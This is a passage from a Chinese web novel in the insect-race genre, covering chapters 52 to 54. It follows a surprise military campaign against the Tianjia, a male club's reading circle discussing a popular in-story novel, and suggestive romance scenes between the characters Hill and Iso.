哪怕就这样被拒绝,伊索也不会觉得希尔阁下有任何不好,相反只会觉得他更好。 但伊索并不想就这样结束。 “我并不是这个意思……我之后会详细跟您解释我的心意,现在,能让我先帮您处理当前的状况吗?” 伊索注视着雄虫,温声问。 语气轻松平常得像是在问能不能帮他拿走掉落在头上的花瓣。 以至于希尔一开始没能反应过来。 直到雌虫垂眸往下看去,意有所指道: “放着不管,会很难受吧?” 希尔顿时红了脸,嗫嚅着想说没事、不用管、放着就好、他自己会处理、不用麻烦。 但太过羞耻了,他一时不知该怎么开口。 而雌虫似乎从他的踟躇和表情中理解了他的意思。 又或许是错误理解了他的意思。 总之,伊索将他抱了起来,放到画架前的椅子上,然后在他面前蹲下。 伊索低头,将垂落的发丝撩到耳后,眸光认真而包容。 希尔从没想到,初见让虫觉得很难接近的冷面酷哥会这样包容他。 从没想到,那张冷酷的脸上,会露出如此丰富细腻的表情。霞光在他脸上晕染开来,是那样独具吸引力。 精神力再度活跃起来,精神阈值前所未有的高涨,精神丝线弹跳舞动,伴随着灵感的膨月长与爆发,在画布上绘下新的内容。 月光下,窗帘全开的寂静画室,背对窗户的雄虫,俯首的雌虫,还有画架上跳跃的精神力,美好得像是一副静谧的画卷。】 读者们羡慕的泪水从嘴角流了出来。 [伊索吃得真好。] [是啊,吃得真好。] [他一个愣头青的军校生,吃得明白吗?让我来!(怒)] [不知道希尔阁下的信息素是什么味道的,现在下楼买同款雪糕还来得及吗?] [下楼买肯定来不及,周围所有雪糕店都被抢购一空,还好我提前在星网上下单了,星际速递五分钟就送到了。] [楼上追小说的雌虫能不能收收你们的信息素!大晚上的还让不让虫睡觉了?熏死我了!] [我不信你没释放信息素,除非你不行(翻白眼)。衰老期老雌虫早点搬去安置区,让护工照顾。] [不睡了!今晚都不睡了!起来嗨!] [坐标白银星X220***号,楼上那个几个雌虫别鬼哭狼嚎的!没雄虫还嚎那么大声!我要投诉扰民!] 今夜,联邦各地治安管理局收到多起投诉。 数量多到处理不过来。 一些休假在家的执法队员也被迫起来上班。 收到通知的执法队员,只能一边骂骂咧咧提裤子,一边关闭光屏小说界面,拎起警棍出门干活。 加班心情不好,干起活来却格外卖力。 ——自己不能爽,那别的雌虫也别想爽。 雌虫都不是吃素的,尤其是开着信息素正嗨的雌虫,正是领地意识最强的时候。 执法队上门,还得先跟上头的雌虫打一架,才能把虫带走。 这注定是个不眠夜。 这一夜,一众路边商店信息素雪糕销售一空。 星网各大雌虫用品店全部爆单。 各生产线、运输线加班加点,赚翻了。 只有执法队被迫加班,还要跟光皮股遛鸟的雌虫打架,憋了一肚子火,破门掏警棍的速度都比平时快了三倍。 天伽那边也没好过到哪去。 尤其是前线的天伽战舰中,天伽士兵们暗地里追文追得正嗨着呢,突然传来消息——虫族大军压境了。 天伽指挥官都懵了。 哪来的大军?一点风声都没有啊。 再说了,虫族不是正经历元帅更替吗?正乱着呢,哪里抽得出来手? 派兵出去一探。 尤尤尤……尤利西斯的大军!!? 同来的还有第三军团上将西里尔,以及虫族的王牌部队“暗影”和他们的指挥官,叫什么来着……伊森?伊索? 天伽指挥官:“……” 总感觉被做局了。 赶紧上报请求增援,并把军中的天伽都叫起来备战。 看着那些半夜里偷偷追禁书,出来时还军容不整的天伽士兵。 指挥官气得差点吐血。 52 雄虫读书会 尤利西斯登入战舰,西里尔上将上前迎接。 “元帅。” 尤利西斯对他微微颔首,视线扫过西里尔上将军帽下的那一缕黑发时,却不由停顿了片刻。 独特的黑发黑眸,在整个虫族也并不多见。 如果正好生了个遗传了他发色瞳色的A级雄子,那只雄子又正好叫“希尔”的,那就更少了。 “西里尔上将,许久没有归家了吧。” 尤利西斯注视着他道。 “是,已经有一月有余。” 西里尔说起这个时并没什么情绪波动。 自从收到元帅的命令,他就率领第三军团前往虫族境外的深空部署,距今已经有一月有余。 自从进入深空,他们就与虫族星网断联,仅与军方的电台保持联络。 这也很好地防止了走漏消息。 不止天伽不知道他们要动手,就连第三军之外的虫族也不知道。 唯一的缺点是,一个多月没回复雄主信息了…… 西里尔上将都能够想象到,等他回到虫族星网范围内,他的私虫终端将会弹出多少条信息。 家里那只粉毛雄虫闹起来可不好哄。 尤利西斯像是看出了他的想法,道: “等这次行动结束,就可以回去与家里虫团聚。” 听到这句话,西里尔的眸光柔和了些。 难得跟这位曾经的同级、如今的最高长官开了个玩笑: “元帅若体恤下属,不如之后的军团盛典多给我们一点假期。” 尤利西斯有些意外地看了他一眼。 军中出了名的事业狂,两百岁前还是不婚主义,现在居然跟他要起假期来了? 有雄主有幼崽后的雌虫果然不一样,事业心都下降了。 如果西里尔知道元帅的想法,一定会觉得很冤。 他是想搞事业,但他现在差不多已经到顶了,再往上就只剩一个最高长官了。 要他努努力把元帅弄下去吗? 尤利西斯:“假期会有,至于其他的,就看这次的表现。” 联邦建军五百年的盛典,当然要大办。 至于怎么办,能办得多热闹,还得看这一次对上天伽的战绩。 这一仗,只许胜,不许败。 “定不辱命!”西里尔行了一礼。 …… 离真正的作战开始还有一段时间,西里尔跟随元帅前往指挥室。 前方探测到数艘天伽战舰。 这种小喽啰不需要他们出手,交给底下虫去解决就行,多给年轻虫一些机会。 真正的大战还在后边。 尤利西斯坐在指挥位上,注视着战况。 这种小打小闹没有看的必要,但当视线扫过战场时,他还是被一架黑金色的机甲吸引了注意力,轻“咦”了一声。 “那是暗影部队的指挥官?”尤利西斯问。 “是。”西里尔目光复杂。 既骄傲,又有那么点不爽的情绪。 “年轻有为。”尤利西斯称赞了句。 西里尔板着脸,“还得练。” 这话一出,指挥室里的几位情报分析员都不由侧目。 不是吧?西里尔上将这是在跟元帅抬杠?好勇啊。 尤利西斯饶有兴趣地看向他,忽地道: “我记得你家里有一个雄子。” 西里尔:“……” 玩脱了。 雌虫忽然对雄虫感兴趣只有两种情况。 看上雄虫了。 和看上雄虫了。 西里尔硬着头皮道:“是……他已经有雌君了。” 就您刚刚夸赞的那位。 元帅总不能做雌侍。 这要是强取豪夺起来…… 伊索死不死不知道。 他的雄子可不能受惊吓。 他当然知道他的雄子很优秀,被任何虫喜欢上都理所当然。 但实在没想到会被元帅惦记上。 所有虫都知道,元帅在选雄虫上的眼光不太正常。 离异后好像变得正常起来了…… 按理来说这是好事。 但目标是他的雄子就不是什么好事了。 他那雄子看似乖巧,实际也倔得很。 只要一个雌君,只要小家庭关起门来过日子。 如果谁把他跟他雌君拆了,他绝对无法接受,只会鱼死网破。 他会死的…… 尤利西斯又问:“幼崽呢?” 打听得这么清楚? 西里尔都要冒冷汗了,哪怕曾经跟元帅切磋交手,他的压力都没这么大过。 “幼崽也有了。”西里尔顶着压力道。 “叫伊西多尔?”尤利西斯问。 “是……” 西里尔很惊恐。 元帅是把他家全查了吗? “多大了?”尤利西斯又问。 西里尔已经麻了,僵硬道:“十三岁半。” 尤利西斯算着年龄。 十年前穿越……三岁半……刚好对上。 多么巧合。 多有意思。 西里尔正提心吊胆,却发现元帅的兴趣好像突然转移了,也不提不问了。 “?” · 军区监狱。 安若美美睡了个懒觉,比平时多赖床了三十分钟,直到小机器虫来送早餐,他才慢悠悠爬起来洗漱。 并随手打开终端,刷星网新闻。 最新的新闻还是联邦治安问题报道。 某雌虫在家用信息素自嗨,夜间嚎叫扰民,被执法队上门,拒不受捕,提着裤子跟执法队打了一架,以一挑十三,把执法队干翻了。 此类新闻层出不穷,安若看得只咋舌。 虫族的治安问题居然这么严重? 未婚雌虫的攻击力果然强。 而在这条新闻下面,就是雄虫信息素大卖、雌虫用品大卖的报道。 令虫意外的是,在这些物品都大卖的情况下,结婚率居然也上升了。 雌虫找配偶更加注重雄虫对幼崽的态度,以及虫品。 要有“雄父感”的,PS:年龄小的雄父也行。 安若:??? 至于雄虫们…… 雄虫们爱上了绘画。 一个个都在家里布置起了画室,邀请雌虫当模特。 大胆的直接去邀请军校生。 害羞些的只画家里的雌虫。 雌虫们也很乐意当这模特。 这段时间,不管是雌虫还是雄虫,都吃得很好。 安若翻了翻,意外地发现军方的报道分外少。 尤其是尤利西斯的。 按理来说,他刚接任元帅,应该是最活跃的时候。 可与他有关的新闻点进去,却发现时间已经是一段时间以前了。 大反派这段时间在忙什么呢? 已经把剧情忘得差不多了的安若认真想了想,什么也没想起来。 反正还没到原著主角出场的时候,不急。 安若洗漱完,吃完监狱方准备的精致早餐,出门去做今日份的精神梳理。 对了,得跟乌列尔说,别再给他弄这种“精致雄虫早餐”了,他的胃受不了这种委屈。 偶尔吃一两次还很新奇,吃多了让人丧失对食物的热爱。 …… 首都星。 雄虫俱乐部。 今日,雄虫俱乐部正举办读书会,许多雄虫受邀前来。 艾拉阁下白日里不爱出门,婉拒了邀请。 于是,今日最受瞩目的便是另一位阁下了……A级雄虫,菲洛尔。 菲洛尔一直是首都星上层圈里出了名的好命雄虫。 出生普通一等星,刚成年来首都星走亲访友,顺带被带着参加了一场晚宴。 结果就被那位刚远征回来的第三军团上将西里尔看中,邀请跳舞。 一支舞后,直接让那位出了名的不婚主义雌虫打破原则,邀他当雄主。 这些年,菲洛尔住在上将为他建造的豪华庄园里,被雌君哄着,被雌侍捧着,过得简直不要太幸福。 漂亮雌侍一只只娶,幼崽一只只生。 唯一的缺点大概是雌君掌控欲比较强,所有雌侍都是出自他的追随者中。 但这也没什么不好的,都好看,帅气,等级高。 还每个发色都不一样,风格不一样。 西里尔上将像是集卡一样,给他雄主集回来一群风格各异的雌侍。 虽然谁也没法保证,这个明艳如花的粉发雄虫是不是也是西里尔上将卡片中的一张。 但雌君的一切都是给他同享的。 漂亮雌侍睡着,可爱幼崽吸着,雌君的数之不尽的财产挥霍着……根本没时间烦恼。 53 菲洛尔的分享 随着一抹明亮的粉色出现,雄虫们都围了上去。 “菲洛尔阁下!” “菲洛尔先生,您可算来了。” “可一定要跟我们好好讲讲《校草》书中的故事。” “还有安神,您见过安神吗?他在首都星吗?他到底是哪一位神秘的雄虫阁下?” 菲洛尔一进雄虫俱乐部,就被雄虫们围得水泄不通。 好不容易才找了张沙发椅坐下,抬头便瞧见一双双亮晶晶的眼睛。 菲洛尔平时也是各大聚会的核心。 但以这样的方式、被这么多同性追捧,还是第一次。 觉得格外新奇。 “好吧,慢慢问,一个个来,你们太热情了,这本书居然这么受欢迎吗?” 菲洛尔不由扬起嘴角。 这可是他家宝贝希尔为主角的书。 他知道这本书在雌虫间很火,没想到在雄虫间也这么火爆。 “安神的书哪一本不是风靡全虫族?”有雄虫道。 追安的书,在雄虫圈里已经成了一种潮流。 有些虫第一本没赶上热乎的,跟落伍了一样,跟虫聚会聊天都插不上嘴。 第一本书错过了,第二本可不能再错过。 于是安神新书一出来,他们立刻就冲上去了,冲在追文第一线,对里面的所有内容都如数家珍。 有雄虫打趣:“就连隔壁天伽都在追。” “噫,别提那些家伙,影响心情,他们看得懂吗?” “哈哈哈,谁知道呢?” 菲洛尔很高兴看到这么多虫喜欢这本以希尔为主角书。 这比所有虫都来夸赞他的星石饰品、时装衣服还要来得开心。 对于雄虫们的问题,他也很有耐心地一一回答。 ——希尔和伊索真的像小说里那样甜蜜吗? “当然啦,你们是没见到他们那样子,我的宝贝希尔可是非伊索不可,我跟雌君拿他一点办法都没有。” ——地下城区的机甲房子。 “这个……应该也许大概是有的吧?” 他不清楚欸。 二十年前的穷小子伊索,都让他家崽崽住什么地方了?让虫生气。 但这些雄虫好像对机甲住房还挺好奇挺喜欢的。 弄得菲洛尔都有些感兴趣了。 等雌君回来,让他也给他弄一个。 ——精神绘画。 “这当然是真的啦!” 菲洛尔当场给雄虫们展示了一张他崽崽送他的作品。 将精神力融入作品,创造出独一无二的画作,这可不是一般雄虫能做到的。 雄虫们都对精神力的感知格外敏锐。 这副画作一拿出来,他们立刻就感受到了那浩瀚强大的A级精神力,顿时又是一阵惊叹。 “据说精神力画作能调理雌虫的精神状态,好几个博物馆中都收藏着类似的画作。” “你是说XR阁下的画吧?那可真是惊为天虫。” “咦?这个风格怎么那么像……?” 菲洛尔矜持抿唇,对他们微微点头。 在众虫的惊呼惊叹声中,他将画作收起,对他们嘱咐: “我家希尔不喜欢太高调,还请你们对这件事保密。” 雄虫们捂着嘴点头。 等着吧,要不了一天,首都星上层圈里就都知道这件事了。 对外保密是一定的。 但雌君不是外虫,两夫夫说点床头夜话也正常。 雌君不是外虫,雌侍当然也不是。 幼崽们就更不是了。 菲洛尔也没指望他们真能把“秘密”保守下来。 “还有幼崽,软乎乎的幼崽真那么可爱吗?” 一只还没有过幼崽的年轻雄虫好奇问。 顿时一阵善意的笑声。 “当然,幼崽小时候都萌萌的,无论雄虫崽还是雌虫崽、亚雌崽。” “对,小小的,软乎乎的,像玩偶一样,不像成年雌虫那么有压迫感。” 其他雄虫也分享起自己的感受。 过来虫表示: “幼崽都有赏味期,尤其是雌虫崽,一定要珍惜他们小时候。一等他们成年,你就会发现,他们一夜间窜得老高了,特别大一只,抱都没法抱。” 一些对幼崽不在意的雄虫发现自己插不上话了。 “幼崽有什么意思?伊西多尔那样的幼崽确实可爱,但不同幼崽要么唯唯诺诺,要么沉默寡言,很没意思。” 菲洛尔不爱听这种话。 “伊西那样的幼崽是用爱滋养出来的。养幼崽就养花,灌注了多少爱,就能开出怎样的花。你什么也不做,不浇水、不晒太阳、也不除草松土……植株没死就已经是生命力顽强了,怎么能再要求它给你开出绚烂的花?” 今日菲洛尔就是这里的核心,他一开口,立刻就有其他雄虫附和着点头。 “确实,我抱过最多的那个幼崽,平日里也跟我最亲。” “难道要养出伊西多尔那样的幼崽,就要像希尔阁下那样,每周进行6、7、8、9次精神梳理吗?” “这也太多了。” 他们这里的都已经是中高等级雄虫,精神力强大,却也从没见过需要梳理这么多次的雌虫崽。 说实话,菲洛尔也没见过。 他认为这是希尔太过宠溺独子了,将所有的精神力都用在了独子身上。 “精神梳理是次要的,更重要的是平日里的相处和态度。” 菲洛尔对他们道:“有时候,一次拥抱,一个摸摸头,一句鼓励,效果并不比精神梳理来得差。” “当然,还有礼物。” 菲洛尔向他们分享自己的经验。 “要记得每一个家庭成员的生日和重要日子,给他们准备礼物和惊喜。以雄虫的记忆力,这不算什么。当然,为了以防万一,最好让智能终端也帮你们记上。” 菲洛尔算是发现了,有些雄虫可能真的平日里用脑太少,有点老年痴呆。 被照顾得太好,平日里都有虫安排一切,已经不用自己思考了,大脑和精神力都有点退化。 “所有家庭成员都要记住吗?” 有大家庭的雄虫已经能想象到那是多么庞大的工作量。 菲洛尔认真点头。 “当然,全都要,雌侍们也不能忘记。给他们送礼物,甚至不用什么特殊的礼物,只是记住了那个日子,他们都会很高兴很感激,也很热情……” 雄虫们对视一眼,顿时露出一个秒懂的表情。 “不愧是能经营好一个大家庭的菲洛尔阁下。短短几句话,就让我们受益良多。” 欸?我居然这么厉害吗? 菲洛尔惊呆。 家里都是雌君雌侍在管啊? 当然也有我的功劳! 菲洛尔在心中坚定点头,肯定了自己的成就。 雌君将雌侍们引荐给他,组成了这个家。 但之后真正作为纽带将所有虫串联起来的,其实是他。 我也是很厉害的,是必不可少的一环。 菲洛尔再度认可了自己的能力。 有点想家里的虫了。 菲洛尔托着下巴,不由出神。 雌君已经很久没给他回消息了。 虽然雌君出门前,就给他打了预防针,说这次可能会离开得比较久。 他以为对方最多就是要晚一些回家,哪想到直接连消息都不回了。 可恶的工作狂。 菲洛尔脑海中模拟出一个雌君的Q版布娃娃,然后狂揍他出气。 说了要跟他生二胎,生一个继承他粉色头发和紫色眼睛的小雌崽,结果又跑没影了。 其实这个二胎已经拼了很多年了,自希尔成年后就一直在拼,到现在差不多有二十年了,但一直没怀上。 西里尔是S级,甚至有突破SS的可能。 他们之间毕竟有着等级差,想中靶没那么容易。 若是等西里尔晋级SS,就更难拼上了。 菲洛尔忍不住想,自己是不是也该努努力,把等级再提升一下,缩小他们之间的差距,增大怀孕几率。 可是努力好累的。 他已经废了五十年,自从跟西里尔结婚后,就没支棱起来过。 哦,也支棱起来过一次。 西里尔做他引导者的那次。 他的精神阈值直接从B级突破到了A级,提升了一个大等级。 他雌君显然也对他如钻石般坚硬的菲洛尔二号很满意,工作狂请了三个月婚假,跟他在他亲自为他设计打造的庄园里胡闹,带他亲自体验每一处。 婚假结束后,还给他娶了个雌侍回来,继续照顾他。 那之后菲洛尔就被养成了小傻子。 虽然之前也没有多聪明,但至少是没打算吃软饭的。 可是软饭好香。 菲洛尔揉着脸想。 万事都有雌君。 雌君不在也有雌侍。 雌侍们平时也很忙,但至少会留下一到两个在家陪他。 一个假期全职陪他,另一个按时上下班,早上和晚上陪他。 在家被陪着的时候,倒也不会觉得孤独。 但雄虫俱乐部不能带雌虫入内。 菲洛尔一只虫坐在一群雄虫之间,没了家虫的陪伴,还是觉得挺孤独的。 就忍不住思绪发散地乱想。 他是一只很恋家的雄虫,所以不爱参加这种全是雄虫的聚会。 如果有雌君或雌侍在旁边,他的心会安定很多。 菲洛尔已经想要回去了。 又听有雄虫问他,是怎么邀请到安给他们家写定制文的。 啊? 这是定制文? 我不知道啊。 难道是希尔定制的?也不像希尔的性格啊。 那雌君? 54 雄子校草x军校生15 星网上的天伽伪虫变少了。 经常跟天伽对线的虫族网民敏锐地发现了这一点。 [安全局终于出管理措施了吗?] [这速度也太慢了,差评。] [不对,好像是前线那边打起来了!官方已经发文了。] 联邦官方的发文十分简洁,只是更新了星际地图而已。 其含义也很简单: 没错,我们虫族的疆域又扩展了那么几万光年。 很虫族式的发文。 这样的战报,在虫族军力强盛时,几乎每个月都会出现,大家已经见怪不怪了。 但这一次还是有所不同,因为那片星域以前是属于天伽的。 [不是?咱们打到天伽门口去了?] [什么时候的事?怎么一点消息都没有?] [第九军团的远征不是刚结束吗?方向也不对,不是这次的事。] [这个哪个军团,竟如此神勇?] [第九军团刚回来,可以排除了。] [第一军团还在首都星附近驻扎。] [第二军团也没动静。] …… 一个个排除下来,也只得到了一个疑似是第三军团和第七军团的推测。 这是军事迷大都是服过几十年兵役的退役军雌,推测得有理有据。 但毕竟不是军团内部的虫,无法知道确切信息。 很快,又有虫发现,元帅已经许多天没露面了。 一些本该由元帅出席的场合,都是由其他军区的上将代理出面。 [元帅亲自出征了?] 这一猜测震惊了所有虫。 但一想到那一位的形式作风,又觉得一点也不奇怪。 这个消息很能振奋虫心。 尤利西斯元帅当上将的时候,有个全虫族公认的战神称号。 只要有他在的战役,就没有赢不了的。 哪怕他只是坐在军舰中,没有出手,军中的士兵也能发挥出百分之两百的战力。 那是军神一般的存在,只要有他在,就如同有了稳定军心的定海神针。 现在虫族网民在意的已经不是赢不赢了,而是怎么赢,能赢多大。 以及…… [元帅把我们当天伽防啊(大哭)!这么大的事,一点风声都没透露出来!] [我昨天还能天伽对骂呢,结果天伽竟是我自己(红鼻子天伽)。] [一想到对面天伽比我们还早知道元帅出征的消息,我就觉得很没面子。] [往好处想想,对面知道的时候,元帅的炮火已经轰他们头上了,这样想是不是舒服多了?] [哎,确实,舒服了。] 安若也刷到了星网上的讨论。 尤利西斯出征了? 有些意外,又不那么意外。 这确实是大反派的风格,他从不是坐以待毙的性子,不可能等到别人来算计他。 既然料到元帅更替这段时间天伽会生事,他就会先一步打过去,把天伽揍老实了。 也只有他有这样的行动力和魄力,以及绝对的实力。 安若突然想到文中一句不起眼的话。 ——尤利西斯执政期间,虫族的版图扩展了三倍有余。 他是当之无愧的战神,没有谁能阻止他前进的脚步。 最后杀死他的,是他自己的政策。 …… 这是一场没有悬念的战争。 安若对原文剧情都忘得差不多了,自然不可能记得天伽那边发生了什么事。 唯一能根据时间差不多推测出来的,是这场战争直接导致了天伽的皇位更替。 这跟还在监狱里的安若没什么关系。 毕竟先皇的蛋又不可能跑到他这里来。 安若打开文档,开始写今日份的更新。 …… 【伊西多尔准时起床,自己搬着小凳子洗漱,梳头,换衣服,穿鞋。 把自己收拾成一只干净可爱让成虫很想吸的香香幼崽后,开心下楼,找雄父雌父。 雌父在厨房做饭。 伊西多尔趴在门框边上,探出头去看。 见雌父垂着眸,面上泛着不太明显的绯红,表情特别温柔,嘴角还带着笑。 雌父好像很开心,心情特别好的那种。 伊西多尔穿越过来后,最先见到的就是冷冰冰的雌父。 那一周里,雌父的脸上都鲜少有表情,也就看向他时目光稍稍柔和一点。 但今天的雌父,像是变成了伊西多尔熟悉中的那个雌父。 是什么带来这么大变化呢? 伊西多尔正疑惑着,就听他雌父头也没回道: “伊西,去洗手,准备吃饭了。” 被发现了! 伊西多尔倒也没指望骗过成虫的耳朵,乖乖从门后走出来。 他扭头看了看四周,见客厅空荡荡的,不由问: “雄父呢?” 伊索动作停顿了下,过了会才恢复正常,故作平静道: “希尔阁下还在休息,我待会去叫他起床。” “我去叫雄父起床!” 伊西多尔自告奋勇,转身外跑。 下一刻后衣领就被拎住了。 他雌父不由分说地拎起他,放到餐桌旁的椅子上,让他坐着。 随后把另一只手里的餐盘放下,解下围裙,擦了擦手,对他道: “你在这坐着,我去叫希尔阁下。” “哦。” 伊西多尔托着下巴,看雌父上楼。 雌父以前也是,从不许他早上去打扰雄父,他对此倒也习以为常。 只是本以为这个雌父跟他熟悉的那个不一样,没有这么多规矩,结果居然也一样! 早上和晚上的雄父都是雌父的,伊西多尔只能拥有白天部分时间段的雄父。 同理,晚上的雌父是雄父的,伊西只能拥有雌父下职回来后那短暂一段时间的雌父。 全家一起出去玩的假期除外。 · 希尔正坐在床上,看着光屏上的转账。 他已经起来有一段时间了,只是一直没做好下楼面对伊索的心理准备。 他不知道该怎么面对伊索。 不管睁眼闭眼,脑子里全是伊索蹲在他面前的模样。 最先看到的是低垂的眉眼,然后的上唇和脸颊,再往下还有锁骨与胸肌,首饰也很显眼夺目。 伊索当时为了给他当绘画模特,身上不加遮掩,干净得一览无余。 希尔抱着枕头遮住发烫的脸。 完全疯掉了。 他的没被伊索放过任何一点,倒是伊索把他的鞋子和裤脚弄脏了,就像画室里打翻的颜料。 而且是最珍稀的白颜料。 伊索向他道歉,抱他回房,主动接下为他洗鞋子和裤子的任务。 希尔辗转反侧一夜未睡,就天亮时眯了一小会,醒来就收到了一大笔星币。 是伊索转给他的。 因为他们没有婚姻关系。 所以雌虫需要给雄虫付钱。 哪怕他没有给他做精神梳理,也没有把信息素给到该给的地方。 这样显得他是一个很不负责的雄虫。 希尔想把钱退回去。 但伊索坚决不收,他对此格外坚定。 伊索告诉他:雄虫如果在事后拒绝雌虫的星币赠予,那代表雌虫服侍得不够好,雌虫一辈子都将陷在被雄性拒绝的阴影中,永远也抬不起头。 是我服侍得不够好吗? 伊索问他。 希尔爆红了脸,什么话都说不出来。 当然不是。 他非常非常地好。 希尔想象不出更好的。 伊索是他的唯一经历。 伊索就是他的标准。 如果拒绝,会伤到雌虫的心。 他只能收下星币。 即使希尔对星币没什么认知,却也知道,这对普通虫来说是非常大的一笔钱。 这可能是伊索卖掉他作品的全部所得。 他全给了他。 雌虫真的太不容易了。 希尔忍不住想。 如果每一次跟雄虫亲密,都要付出这么大一笔钱的话,那确实不如结婚。 睡几次就破产,也没法约雄虫了。 跟直接失去所有财产,但能永久拥有跟雄虫睡觉的权力。 相比起来,似乎后者更好那么一点。 当然,在两个都很烂里面选出一个没那么烂的,并没有什么意义。 只是,希尔不想让伊索破产。 相反,他想给伊索花钱。 他想把他的所有钱都分享给伊索,让伊索来花它们。 只是想想,就觉得那很幸福。 ……】 读者们看到安神更新,立刻就涌了进来。